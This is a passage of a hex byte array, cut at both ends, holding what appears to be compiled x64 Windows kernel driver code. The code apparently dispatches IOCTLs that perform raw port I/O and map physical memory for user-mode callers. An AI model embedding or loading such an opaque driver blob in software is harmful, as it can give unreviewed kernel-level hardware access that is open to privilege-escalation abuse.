0x4E, 0x41, 0x8B, 0x47, 0x08, 0x39, 0x46, 0x20, 0x75, 0x74, 0x48, + 0x8B, 0x56, 0x08, 0x48, 0x8B, 0x4E, 0x18, 0xFF, 0x15, 0xE7, 0x22, 0x00, + 0x00, 0x48, 0x8B, 0x4E, 0x08, 0xFF, 0x15, 0x35, 0x23, 0x00, 0x00, 0x8B, + 0x56, 0x20, 0x48, 0x8B, 0x4E, 0x10, 0xFF, 0x15, 0xE0, 0x22, 0x00, 0x00, + 0x48, 0x8B, 0x06, 0x49, 0x3B, 0x76, 0x18, 0x75, 0x06, 0x49, 0x89, 0x46, + 0x18, 0xEB, 0x04, 0x48, 0x89, 0x45, 0x00, 0x33, 0xD2, 0x48, 0x8B, 0xCE, + 0xFF, 0x15, 0x9A, 0x22, 0x00, 0x00, 0x33, 0xDB, 0x33, 0xD2, 0x89, 0x5F, + 0x30, 0x48, 0x8B, 0xCF, 0xFF, 0x15, 0xD2, 0x22, 0x00, 0x00, 0x48, 0x8B, + 0x6C, 0x24, 0x58, 0x8B, 0xC3, 0x48, 0x8B, 0x5C, 0x24, 0x50, 0x48, 0x8B, + 0x74, 0x24, 0x60, 0x48, 0x8B, 0x7C, 0x24, 0x68, 0x48, 0x83, 0xC4, 0x30, + 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5C, 0xC3, 0xBB, 0x0D, 0x00, 0x00, 0xC0, + 0xEB, 0xCA, 0x41, 0x83, 0xFC, 0x10, 0x75, 0xF3, 0x41, 0x3B, 0xCC, 0x75, + 0xEE, 0x41, 0x8B, 0x6F, 0x08, 0x45, 0x33, 0xC0, 0x41, 0x8B, 0x0F, 0x8B, + 0xD5, 0xFF, 0x15, 0x65, 0x22, 0x00, 0x00, 0x48, 0x8B, 0xF0, 0x48, 0x85, + 0xC0, 0x74, 0x79, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x45, 0x33, 0xC9, + 0x45, 0x33, 0xC0, 0x8B, 0xD5, 0x48, 0x8B, 0xC8, 0xFF, 0x15, 0x66, 0x22, + 0x00, 0x00, 0x4C, 0x8B, 0xE0, 0x48, 0x85, 0xC0, 0x74, 0x4E, 0x48, 0x8B, + 0xC8, 0xFF, 0x15, 0x1D, 0x22, 0x00, 0x00, 0xB2, 0x01, 0x49, 0x8B, 0xCC, + 0xFF, 0x15, 0x1A, 0x22, 0x00, 0x00, 0xBA, 0x28, 0x00, 0x00, 0x00, 0x33, + 0xC9, 0x48, 0x8B, 0xD8, 0xFF, 0x15, 0xF2, 0x21, 0x00, 0x00, 0x4C, 0x89, + 0x60, 0x08, 0x48, 0x89, 0x70, 0x10, 0x48, 0x89, 0x58, 0x18, 0x89, 0x68, + 0x20, 0x49, 0x8B, 0x4E, 0x18, 0x48, 0x89, 0x08, 0x49, 0x89, 0x46, 0x18, + 0x49, 0x89, 0x1F, 0x48, 0xC7, 0x47, 0x38, 0x10, 0x00, 0x00, 0x00, 0xE9, + 0x36, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0xD5, 0x48, 0x8B, 0xCE, 0xFF, 0x15, + 0xEC, 0x21, 0x00, 0x00, 0xBB, 0x9A, 0x00, 0x00, 0xC0, 0xE9, 0x22, 0xFF, + 0xFF, 0xFF, 0x45, 0x8B, 0xC8, 0x49, 0x8B, 0xCE, 0x4C, 0x8B, 0xC6, 0xE8, + 0xA4, 0xF9, 0xFF, 0xFF, 0xE9, 0x8C, 0xFE, 0xFF, 0xFF, 0x48, 0x83, 0x62, + 0x38, 0x00, 0x49, 0x8B, 0xCF, 0xE8, 0x26, 0x0B, 0x00, 0x00, 0xF6, 0xD8, + 0xBB, 0x0D, 0x00, 0x00, 0xC0, 0x1B, 0xC9, 0xF7, 0xD1, 0x23, 0xD9, 0xE9, + 0xF0, 0xFE, 0xFF, 0xFF, 0x45, 0x8B, 0xC8, 0x49, 0x8B, 0xCE, 0x4C, 0x8B, + 0xC6, 0xE8, 0x2E, 0xF9, 0xFF, 0xFF, 0xE9, 0x5A, 0xFE, 0xFF, 0xFF, 0x41, + 0x81, 0xF8, 0x08, 0x64, 0x50, 0xC3, 0x0F, 0x84, 0x42, 0xFE, 0xFF, 0xFF, + 0x41, 0x8D, 0x80, 0xC0, 0x5B, 0xAF, 0x3C, 0xA9, 0xF3, 0xFF, 0xFF, 0xFF, + 0x75, 0x19, 0x41, 0x81, 0xF8, 0x4C, 0xA4, 0x50, 0xC3, 0x74, 0x10, 0x48, + 0x8B, 0xD6, 0x48, 0x8B, 0xCF, 0xE8, 0xE6, 0x02, 0x00, 0x00, 0xE9, 0x26, + 0xFE, 0xFF, 0xFF, 0x41, 0x81, 0xF8, 0x4C, 0xE4, 0x50, 0xC3, 0x74, 0x1A, + 0x41, 0x81, 0xF8, 0x54, 0xE4, 0x50, 0xC3, 0x0F, 0x85, 0x93, 0xFE, 0xFF, + 0xFF, 0x48, 0x8B, 0xCD, 0xE8, 0xF3, 0x01, 0x00, 0x00, 0xE9, 0x03, 0xFE, + 0xFF, 0xFF, 0x48, 0x8B, 0xD6, 0x48, 0x8B, 0xCF, 0xE8, 0x37, 0x01, 0x00, + 0x00, 0xE9, 0xF3, 0xFD, 0xFF, 0xFF, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, + 0x08, 0x48, 0x89, 0x6C, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, + 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0x7A, 0x18, 0x48, 0x8B, 0xEA, 0x41, + 0x8B, 0x70, 0x10, 0x45, 0x33, 0xC0, 0x8B, 0x57, 0x14, 0x48, 0x8B, 0x4F, + 0x08, 0xFF, 0x15, 0xFD, 0x20, 0x00, 0x00, 0x44, 0x8B, 0x47, 0x14, 0x48, + 0x8B, 0xD0, 0x48, 0x63, 0x4F, 0x18, 0x48, 0x8B, 0xD8, 0xE8, 0xA2, 0x10, + 0x00, 0x00, 0x8B, 0x57, 0x14, 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xE6, 0x20, + 0x00, 0x00, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x33, 0xC0, 0x48, 0x89, 0x75, + 0x38, 0x48, 0x8B, 0x6C, 0x24, 0x38, 0x48, 0x8B, 0x74, 0x24, 0x40, 0x48, + 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, + 0x10, 0x55, 0x56, 0x57, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xEC, 0x20, + 0x48, 0x8B, 0x59, 0x18, 0x48, 0x8B, 0xE9, 0x44, 0x8B, 0x7A, 0x10, 0x48, + 0x8D, 0x0D, 0x66, 0x16, 0x00, 0x00, 0x44, 0x8B, 0x72, 0x08, 0x41, 0x8B, + 0xF8, 0xE8, 0xD2, 0x0E, 0x00, 0x00, 0x41, 0xB8, 0x04, 0x64, 0x50, 0xC3, + 0xB9, 0x08, 0x64, 0x50, 0xC3, 0x41, 0x3B, 0xF8, 0x74, 0x1A, 0x3B, 0xF9, + 0x74, 0x0F, 0x0F, 0xB7, 0x03, 0xBE, 0x01, 0x00, 0x00, 0x00, 0x0F, 0xB7, + 0x54, 0x24, 0x54, 0xEB, 0x14, 0xBE, 0x04, 0x00, 0x00, 0x00, 0xEB, 0x05, + 0xBE, 0x02, 0x00, 0x00, 0x00, 0x0F, 0xB7, 0x44, 0x24, 0x60, 0x0F, 0xB7, + 0x13, 0x41, 0x83, 0xFF, 0x04, 0x75, 0x41, 0x44, 0x3B, 0xF6, 0x72, 0x3C, + 0x81, 0xFF, 0x00, 0x64, 0x50, 0xC3, 0x74, 0x15, 0x41, 0x3B, 0xF8, 0x74, + 0x09, 0x3B, 0xF9, 0x75, 0x21, 0xED, 0x89, 0x03, 0xEB, 0x1C, 0x66, 0xED, + 0x66, 0x89, 0x03, 0xEB, 0x15, 0x0F, 0xB7, 0xD0, 0x48, 0x8D, 0x0D, 0x01, + 0x16, 0x00, 0x00, 0xEC, 0x0F, 0xB6, 0xD0, 0x88, 0x13, 0xE8, 0x5E, 0x0E, + 0x00, 0x00, 0x8B, 0xC6, 0x48, 0x89, 0x45, 0x38, 0x33, 0xC0, 0xEB, 0x05, + 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x58, 0x48, 0x83, + 0xC4, 0x20, 0x41, 0x5F, 0x41, 0x5E, 0x5F, 0x5E, 0x5D, 0xC3, 0xCC, 0xCC, + 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x6C, 0x24, 0x10, 0x48, 0x89, + 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0x59, 0x18, + 0x48, 0x8B, 0xF1, 0x8B, 0x7A, 0x10, 0x8B, 0x6A, 0x08, 0x0F, 0xB7, 0x03, + 0x66, 0x89, 0x05, 0xDB, 0x2F, 0x00, 0x00, 0x0F, 0xB7, 0x43, 0x02, 0x66, + 0x89, 0x05, 0xCE, 0x2F, 0x00, 0x00, 0x0F, 0xB7, 0x43, 0x04, 0x66, 0x89, + 0x05, 0xC1, 0x2F, 0x00, 0x00, 0x0F, 0xB7, 0x43, 0x06, 0x66, 0x89, 0x05, + 0xB4, 0x2F, 0x00, 0x00, 0xE8, 0x63, 0xEF, 0xFF, 0xFF, 0x0F, 0xB7, 0x05, + 0xAE, 0x2F, 0x00, 0x00, 0x66, 0x89, 0x03, 0x0F, 0xB7, 0x05, 0xA2, 0x2F, + 0x00, 0x00, 0x66, 0x89, 0x43, 0x02, 0x0F, 0xB7, 0x05, 0x95, 0x2F, 0x00, + 0x00, 0x66, 0x89, 0x43, 0x04, 0x0F, 0xB7, 0x05, 0x88, 0x2F, 0x00, 0x00, + 0x66, 0x89, 0x43, 0x06, 0x83, 0xFF, 0x08, 0x75, 0x10, 0x3B, 0xEF, 0x72, + 0x0C, 0x48, 0xC7, 0x46, 0x38, 0x08, 0x00, 0x00, 0x00, 0x33, 0xC0, 0xEB, + 0x05, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, + 0x8B, 0x6C, 0x24, 0x38, 0x48, 0x8B, 0x74, 0x24, 0x40, 0x48, 0x83, 0xC4, + 0x20, 0x5F, 0xC3, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x6C, + 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xEC, 0x20, + 0x48, 0x8B, 0x5A, 0x18, 0x48, 0x8B, 0xF2, 0x48, 0x8B, 0x82, 0xB8, 0x00, + 0x00, 0x00, 0x8B, 0x78, 0x10, 0x8B, 0x68, 0x08, 0x8B, 0x03, 0x89, 0x05, + 0x10, 0x2F, 0x00, 0x00, 0x8B, 0x43, 0x04, 0x89, 0x05, 0x03, 0x2F, 0x00, + 0x00, 0x8B, 0x43, 0x08, 0x89, 0x05, 0xF6, 0x2E, 0x00, 0x00, 0x8B, 0x43, + 0x0C, 0x89, 0x05, 0xE9, 0x2E, 0x00, 0x00, 0x8B, 0x43, 0x10, 0x89, 0x05, + 0xDC, 0x2E, 0x00, 0x00, 0x8B, 0x43, 0x14, 0x89, 0x05, 0xCF, 0x2E, 0x00, + 0x00, 0xE8, 0x0C, 0xEF, 0xFF, 0xFF, 0x8B, 0x05, 0xD8, 0x2E, 0x00, 0x00, + 0x89, 0x03, 0x8B, 0x05, 0xCC, 0x2E, 0x00, 0x00, 0x89, 0x43, 0x04, 0x8B, + 0x05, 0xBF, 0x2E, 0x00, 0x00, 0x89, 0x43, 0x08, 0x8B, 0x05, 0xB2, 0x2E, + 0x00, 0x00, 0x89, 0x43, 0x0C, 0x8B, 0x05, 0xA5, 0x2E, 0x00, 0x00, 0x89, + 0x43, 0x10, 0x8B, 0x05, 0x98, 0x2E, 0x00, 0x00, 0x89, 0x43, 0x14, 0x8B, + 0x05, 0x8B, 0x2E, 0x00, 0x00, 0x89, 0x43, 0x18, 0x83, 0xFF, 0x1C, 0x75, + 0x10, 0x3B, 0xEF, 0x72, 0x0C, 0x48, 0xC7, 0x46, 0x38, 0x1C, 0x00, 0x00, + 0x00, 0x33, 0xC0, 0xEB, 0x05, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, + 0x5C, 0x24, 0x30, 0x48, 0x8B, 0x6C, 0x24, 0x38, 0x48, 0x8B, 0x74, 0x24, + 0x40, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0xCC, 0x48, 0x89, 0x5C, 0x24, + 0x10, 0x48, 0x89, 0x6C, 0x24, 0x20, 0x56, 0x57, 0x41, 0x56, 0x48, 0x83, + 0xEC, 0x20, 0x44, 0x8B, 0x72, 0x10, 0x41, 0x8B, 0xF0, 0x48, 0x83, 0x61, + 0x38, 0x00, 0x48, 0x8B, 0x59, 0x18, 0x48, 0x8D, 0x0D, 0x4F, 0x14, 0x00, + 0x00, 0xE8, 0x92, 0x0C, 0x00, 0x00, 0x41, 0xB8, 0x44, 0xA4, 0x50, 0xC3, + 0xBA, 0x48, 0xA4, 0x50, 0xC3, 0x41, 0x3B, 0xF0, 0x74, 0x1A, 0x3B, 0xF2, + 0x74, 0x0F, 0x0F, 0xB7, 0x2B, 0xB9, 0x05, 0x00, 0x00, 0x00, 0x0F, 0xB7, + 0x7C, 0x24, 0x44, 0xEB, 0x14, 0xB9, 0x08, 0x00, 0x00, 0x00, 0xEB, 0x05, + 0xB9, 0x06, 0x00, 0x00, 0x00, 0x0F, 0xB7, 0x6C, 0x24, 0x50, 0x0F, 0xB7, + 0x3B, 0x4C, 0x3B, 0xF1, 0x73, 0x07, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0xEB, + 0x75, 0x81, 0xFE, 0x40, 0xA4, 0x50, 0xC3, 0x74, 0x44, 0x41, 0x3B, 0xF0, + 0x74, 0x20, 0x3B, 0xF2, 0x75, 0x56, 0x44, 0x8B, 0x43, 0x04, 0x48, 0x8D, + 0x0D, 0x0B, 0x14, 0x00, 0x00, 0x0F, 0xB7, 0xD7, 0xE8, 0x2B, 0x0C, 0x00, + 0x00, 0x8B, 0x43, 0x04, 0x0F, 0xB7, 0xD7, 0xEF, 0xEB, 0x1D, 0x44, 0x0F, + 0xB7, 0x43, 0x04, 0x48, 0x8D, 0x0D, 0xEE, 0x13, 0x00, 0x00, 0x0F, 0xB7, + 0xD7, 0xE8, 0x0E, 0x0C, 0x00, 0x00, 0x0F, 0xB7, 0x43, 0x04, 0x0F, 0xB7, + 0xD7, 0x66, 0xEF, 0xEB, 0x1B, 0x44, 0x0F, 0xB6, 0x43, 0x04, 0x48, 0x8D, + 0x0D, 0xCF, 0x13, 0x00, 0x00, 0x0F, 0xB7, 0xD5, 0xE8, 0xEF, 0x0B, 0x00, + 0x00, 0x8A, 0x43, 0x04, 0x0F, 0xB7, 0xD5, 0xEE, 0x48, 0x8D, 0x0D, 0xC9, + 0x13, 0x00, 0x00, 0xE8, 0xDC, 0x0B, 0x00, 0x00, 0x33, 0xC0, 0x48, 0x8B, + 0x5C, 0x24, 0x48, 0x48, 0x8B, 0x6C, 0x24, 0x58, 0x48, 0x83, 0xC4, 0x20, + 0x41, 0x5E, 0x5F, 0x5E, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, + 0x08, 0x57, 0x48, 0x83, 0xEC, 0x30, 0x48, 0x8B, 0x41, 0x08, 0x48, 0x8B, + 0x78, 0x40, 0x48, 0x8B, 0x5F, 0x18, 0x48, 0x85, 0xDB, 0x74, 0x39, 0x48, + 0x8B, 0x03, 0x48, 0x89, 0x47, 0x18, 0x48, 0x8B, 0x53, 0x08, 0x48, 0x8B, + 0x4B, 0x18, 0xFF, 0x15, 0x4C, 0x1D, 0x00, 0x00, 0x48, 0x8B, 0x4B, 0x08, + 0xFF, 0x15, 0x9A, 0x1D, 0x00, 0x00, 0x8B, 0x53, 0x20, 0x48, 0x8B, 0x4B, + 0x10, 0xFF, 0x15, 0x45, 0x1D, 0x00, 0x00, 0x33, 0xD2, 0x48, 0x8B, 0xCB, + 0xFF, 0x15, 0x12, 0x1D, 0x00, 0x00, 0xEB, 0xBE, 0x48, 0x8D, 0x15, 0x41, + 0x11, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0xFF, 0x15, 0xBE, 0x1D, + 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0xFF, 0x15, 0x5B, 0x1D, 0x00, + 0x00, 0x48, 0x8B, 0x4F, 0x10, 0xFF, 0x15, 0x49, 0x1D, 0x00, 0x00, 0x48, + 0x8B, 0x5C, 0x24, 0x40, 0x48, 0x83, 0xC4, 0x30, 0x5F, 0xC3, 0xCC, 0xCC, + 0x48, 0x89, 0x5C, 0x24, 0x08, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x8B, + 0x40, 0x08, 0x48, 0x8B, 0xFA, 0x48, 0x8B, 0x5A, 0x18, 0x41, 0x39, 0x40, + 0x10, 0x75, 0x67, 0x83, 0xF8, 0x10, 0x75, 0x62, 0x33, 0xD2, 0x48, 0x89, + 0x57, 0x38, 0x8B, 0x43, 0x04, 0x89, 0x05, 0xC9, 0x2C, 0x00, 0x00, 0x89, + 0x15, 0xBB, 0x2C, 0x00, 0x00, 0x89, 0x15, 0xB9, 0x2C, 0x00, 0x00, 0x8B, + 0x0B, 0x85, 0xC9, 0x74, 0x1E, 0x83, 0xF9, 0x01, 0x75, 0x3C, 0xE8, 0x2F, + 0xED, 0xFF, 0xFF, 0x8B, 0x05, 0xA3, 0x2C, 0x00, 0x00, 0x89, 0x43, 0x08, + 0x8B, 0x05, 0x96, 0x2C, 0x00, 0x00, 0x89, 0x43, 0x0C, 0xEB, 0x17, 0x8B, + 0x43, 0x08, 0x89, 0x05, 0x8C, 0x2C, 0x00, 0x00, 0x8B, 0x43, 0x0C, 0x89, + 0x05, 0x7F, 0x2C, 0x00, 0x00, 0xE8, 0x21, 0xED, 0xFF, 0xFF, 0x48, 0xC7, + 0x47, 0x38, 0x10, 0x00, 0x00, 0x00, 0x33, 0xC0, 0xEB, 0x05, 0xB8, 0x0D, + 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x83, 0xC4, 0x20, + 0x5F, 0xC3, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x74, + 0x24, 0x10, 0x57, 0x48, 0x83, 0xEC, 0x30, 0x48, 0x8D, 0x0D, 0xFA, 0x15, + 0x00, 0x00, 0x49, 0x8B, 0xD8, 0x48, 0x8B, 0xFA, 0xE8, 0x87, 0x0A, 0x00, + 0x00, 0x83, 0x7B, 0x10, 0x0C, 0x0F, 0x85, 0xA3, 0x00, 0x00, 0x00, 0xBE, + 0x01, 0x00, 0x00, 0x00, 0x39, 0x73, 0x08, 0x0F, 0x85, 0x95, 0x00, 0x00, + 0x00, 0x48, 0x8B, 0x5F, 0x18, 0x0F, 0xB7, 0x4B, 0x06, 0x0F, 0xB7, 0x43, + 0x08, 0x44, 0x0F, 0xB7, 0x4B, 0x04, 0x44, 0x0F, 0xB7, 0x43, 0x02, 0x0F, + 0xB7, 0x13, 0x89, 0x44, 0x24, 0x28, 0x89, 0x4C, 0x24, 0x20, 0x48, 0x8D, + 0x0D, 0xEF, 0x15, 0x00, 0x00, 0xE8, 0x42, 0x0A, 0x00, 0x00, 0x0F, 0xB7, + 0x03, 0x66, 0x85, 0xC0, 0x75, 0x22, 0x0F, 0xB7, 0x43, 0x0A, 0x44, 0x0F, + 0xB7, 0x4B, 0x08, 0x44, 0x0F, 0xB7, 0x43, 0x06, 0x0F, 0xB7, 0x53, 0x04, + 0x0F, 0xB7, 0x4B, 0x02, 0x66, 0x89, 0x44, 0x24, 0x20, 0xE8, 0xFA, 0x07, + 0x00, 0x00, 0xEB, 0x25, 0x66, 0x3B, 0xC6, 0x75, 0x22, 0x0F, 0xB7, 0x43, + 0x0A, 0x44, 0x0F, 0xB7, 0x4B, 0x08, 0x44, 0x0F, 0xB7, 0x43, 0x06, 0x0F, + 0xB7, 0x53, 0x04, 0x0F, 0xB7, 0x4B, 0x02, 0x66, 0x89, 0x44, 0x24, 0x20, + 0xE8, 0xCF, 0x08, 0x00, 0x00, 0x88, 0x03, 0x0F, 0xB6, 0x13, 0x48, 0x8D, + 0x0D, 0xDF, 0x15, 0x00, 0x00, 0xE8, 0xE2, 0x09, 0x00, 0x00, 0x33, 0xC0, + 0x48, 0x89, 0x77, 0x38, 0xEB, 0x11, 0x48, 0x8D, 0x0D, 0x5B, 0x15, 0x00, + 0x00, 0xE8, 0xCE, 0x09, 0x00, 0x00, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, + 0x8B, 0x5C, 0x24, 0x40, 0x48, 0x8B, 0x74, 0x24, 0x48, 0x48, 0x83, 0xC4, + 0x30, 0x5F, 0xC3, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x18, 0x48, 0x89, 0x74, + 0x24, 0x20, 0x55, 0x57, 0x41, 0x56, 0x48, 0x8B, 0xEC, 0x48, 0x83, 0xEC, + 0x60, 0x48, 0x8B, 0x05, 0x1C, 0x2B, 0x00, 0x00, 0x48, 0x33, 0xC4, 0x48, + 0x89, 0x45, 0xF8, 0x4C, 0x8B, 0xF1, 0x49, 0x8B, 0xF8, 0x48, 0x8D, 0x0D, + 0x60, 0x12, 0x00, 0x00, 0x48, 0x8B, 0xF2, 0xE8, 0x80, 0x09, 0x00, 0x00, + 0x8B, 0x5F, 0x10, 0x48, 0x8D, 0x0D, 0x6E, 0x12, 0x00, 0x00, 0x8B, 0x7F, + 0x08, 0xE8, 0x6E, 0x09, 0x00, 0x00, 0x83, 0xFB, 0x34, 0x0F, 0x85, 0x9B, + 0x01, 0x00, 0x00, 0x3B, 0xFB, 0x0F, 0x85, 0x93, 0x01, 0x00, 0x00, 0x48, + 0x8D, 0x0D, 0x7E, 0x12, 0x00, 0x00, 0xE8, 0x51, 0x09, 0x00, 0x00, 0x48, + 0x8D, 0x0D, 0x82, 0x12, 0x00, 0x00, 0xE8, 0x45, 0x09, 0x00, 0x00, 0x49, + 0x8B, 0x5E, 0x40, 0x48, 0x8D, 0x0D, 0x82, 0x12, 0x00, 0x00, 0xE8, 0x35, + 0x09, 0x00, 0x00, 0x48, 0x8D, 0x55, 0xC0, 0x48, 0x8B, 0xCB, 0xFF, 0x15, + 0xB0, 0x1A, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x79, 0x12, 0x00, 0x00, 0xE8, + 0x1C, 0x09, 0x00, 0x00, 0x48, 0x8B, 0x5E, 0x18, 0x33, 0xC9, 0x48, 0x89, + 0x4D, 0xD8, 0x48, 0x89, 0x4D, 0xE0, 0x48, 0x89, 0x4D, 0xE8, 0x48, 0x89, + 0x4D, 0xF0, 0x0F, 0xB7, 0x03, 0x89, 0x45, 0xE4, 0x0F, 0xB6, 0x43, 0x02, + 0x89, 0x45, 0xD8, 0x88, 0x4B, 0x08, 0x0F, 0xB7, 0x43, 0x08, 0x09, 0x45, + 0xD8, 0x0F, 0xB7, 0x43, 0x0A, 0x89, 0x45, 0xDC, 0x66, 0x89, 0x4B, 0x1C, + 0x48, 0x8D, 0x0D, 0x45, 0x12, 0x00, 0x00, 0x44, 0x8B, 0x45, 0xDC, 0x44, + 0x0B, 0x43, 0x1C, 0x8B, 0x55, 0xD8, 0x44, 0x89, 0x45, 0xDC, 0x8B, 0x43, + 0x20, 0x89, 0x45, 0xE0, 0x8B, 0x43, 0x28, 0x89, 0x45, 0xE8, 0x8B, 0x43, + 0x2C, 0x89, 0x45, 0xEC, 0x8B, 0x43, 0x30, 0x89, 0x45, 0xF0, 0xE8, 0xB1, + 0x08, 0x00, 0x00, 0x44, 0x8B, 0x45, 0xE4, 0x48, 0x8D, 0x0D, 0x2E, 0x12, + 0x00, 0x00, 0x8B, 0x55, 0xE0, 0xE8, 0x9E, 0x08, 0x00, 0x00, 0x44, 0x8B, + 0x45, 0xEC, 0x48, 0x8D, 0x0D, 0x3B, 0x12, 0x00, 0x00, 0x8B, 0x55, 0xE8, + 0xE8, 0x8B, 0x08, 0x00, 0x00, 0x8B, 0x55, 0xF0, 0x48, 0x8D, 0x0D, 0x49, + 0x12, 0x00, 0x00, 0xE8, 0x7C, 0x08, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x4D, + 0x12, 0x00, 0x00, 0xE8, 0x70, 0x08, 0x00, 0x00, 0x48, 0x8D, 0x4D, 0xD8, + 0xE8, 0xDF, 0xEA, 0xFF, 0xFF, 0x48, 0x8D, 0x0D, 0x48, 0x12, 0x00, 0x00, + 0xE8, 0x5B, 0x08, 0x00, 0x00, 0x0F, 0xB7, 0x45, 0xD8, 0x48, 0x8D, 0x4D, + 0xC0, 0x66, 0x89, 0x43, 0x08, 0x8B, 0x45, 0xD8, 0x89, 0x43, 0x18, 0x8B, + 0x45, 0xDC, 0x89, 0x43, 0x1C, 0x0F, 0xB7, 0x45, 0xDC, 0x66, 0x89, 0x43, + 0x0A, 0x8B, 0x45, 0xE0, 0x89, 0x43, 0x20, 0x0F, 0xB7, 0x45, 0xE0, 0x66, + 0x89, 0x43, 0x0C, 0x8B, 0x45, 0xE4, 0x89, 0x43, 0x24, 0x8B, 0x45, 0xE8, + 0x89, 0x43, 0x28, 0x8B, 0x45, 0xEC, 0x89, 0x43, 0x2C, 0x0F, 0xB7, 0x45, + 0xF4, 0x66, 0x89, 0x43, 0x14, 0xFF, 0x15, 0x9D, 0x19, 0x00, 0x00, 0x44, + 0x8B, 0x43, 0x20, 0x48, 0x8D, 0x0D, 0xFA, 0x11, 0x00, 0x00, 0x8B, 0x53, + 0x1C, 0xE8, 0xFA, 0x07, 0x00, 0x00, 0x44, 0x0F, 0xB7, 0x43, 0x0C, 0x48, + 0x8D, 0x0D, 0x06, 0x12, 0x00, 0x00, 0x0F, 0xB7, 0x53, 0x08, 0xE8, 0xE5, + 0x07, 0x00, 0x00, 0x8B, 0x53, 0x28, 0x48, 0x8D, 0x0D, 0x13, 0x12, 0x00, + 0x00, 0xE8, 0xD6, 0x07, 0x00, 0x00, 0x33, 0xC0, 0x48, 0xC7, 0x46, 0x38, + 0x34, 0x00, 0x00, 0x00, 0xEB, 0x11, 0x48, 0x8D, 0x0D, 0xCB, 0x10, 0x00, + 0x00, 0xE8, 0xBE, 0x07, 0x00, 0x00, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, + 0x8B, 0x4D, 0xF8, 0x48, 0x33, 0xCC, 0xE8, 0x65, 0x07, 0x00, 0x00, 0x4C, + 0x8D, 0x5C, 0x24, 0x60, 0x49, 0x8B, 0x5B, 0x30, 0x49, 0x8B, 0x73, 0x38, + 0x49, 0x8B, 0xE3, 0x41, 0x5E, 0x5F, 0x5D, 0xC3, 0x48, 0x8B, 0xC4, 0x48, + 0x89, 0x58, 0x08, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x55, + 0x41, 0x56, 0x41, 0x57, 0x48, 0x8D, 0x68, 0xA1, 0x48, 0x81, 0xEC, 0xD0, + 0x00, 0x00, 0x00, 0x8B, 0x42, 0x10, 0x48, 0x8D, 0x4D, 0x07, 0x44, 0x8B, + 0x32, 0x48, 0x8B, 0xF2, 0x44, 0x8B, 0x7A, 0x04, 0x48, 0x8B, 0x5A, 0x08, + 0x48, 0x83, 0x65, 0xCF, 0x00, 0x48, 0x83, 0x65, 0xFF, 0x00, 0x89, 0x45, + 0xD7, 0x89, 0x45, 0x6F, 0x8B, 0x42, 0x14, 0x48, 0x8D, 0x15, 0x52, 0x0F, + 0x00, 0x00, 0x48, 0x89, 0x45, 0xE7, 0xFF, 0x15, 0xA0, 0x19, 0x00, 0x00, + 0x48, 0x83, 0x65, 0x1F, 0x00, 0x48, 0x8D, 0x45, 0x07, 0x0F, 0x57, 0xC0, + 0x48, 0x89, 0x45, 0x27, 0x4C, 0x8D, 0x45, 0x17, 0xC7, 0x45, 0x17, 0x30, + 0x00, 0x00, 0x00, 0xBA, 0x1F, 0x00, 0x0F, 0x00, 0xC7, 0x45, 0x2F, 0x40, + 0x00, 0x00, 0x00, 0x48, 0x8D, 0x4D, 0xCF, 0xF3, 0x0F, 0x7F, 0x45, 0x37, + 0xFF, 0x15, 0x32, 0x19, 0x00, 0x00, 0x8B, 0xF8, 0x85, 0xC0, 0x0F, 0x88, + 0x30, 0x01, 0x00, 0x00, 0x48, 0x83, 0x64, 0x24, 0x28, 0x00, 0x48, 0x8D, + 0x45, 0xFF, 0x48, 0x8B, 0x4D, 0xCF, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, + 0x48, 0x89, 0x44, 0x24, 0x20, 0xBA, 0x1F, 0x00, 0x0F, 0x00, 0xFF, 0x15, + 0xF4, 0x18, 0x00, 0x00, 0x8B, 0xF8, 0x85, 0xC0, 0x0F, 0x88, 0xF8, 0x00, + 0x00, 0x00, 0x8B, 0x45, 0xE7, 0x4C, 0x8D, 0x4D, 0x6F, 0x48, 0x03, 0xC3, + 0x4C, 0x8B, 0xC3, 0x48, 0x89, 0x45, 0xDF, 0x41, 0x8B, 0xD7, 0x48, 0x8D, + 0x45, 0xF7, 0x41, 0x8B, 0xCE, 0x48, 0x89, 0x44, 0x24, 0x20, 0xFF, 0x15, + 0x24, 0x18, 0x00, 0x00, 0x4C, 0x8B, 0x45, 0xDF, 0x4C, 0x8D, 0x4D, 0xD7, + 0x8A, 0xD8, 0x41, 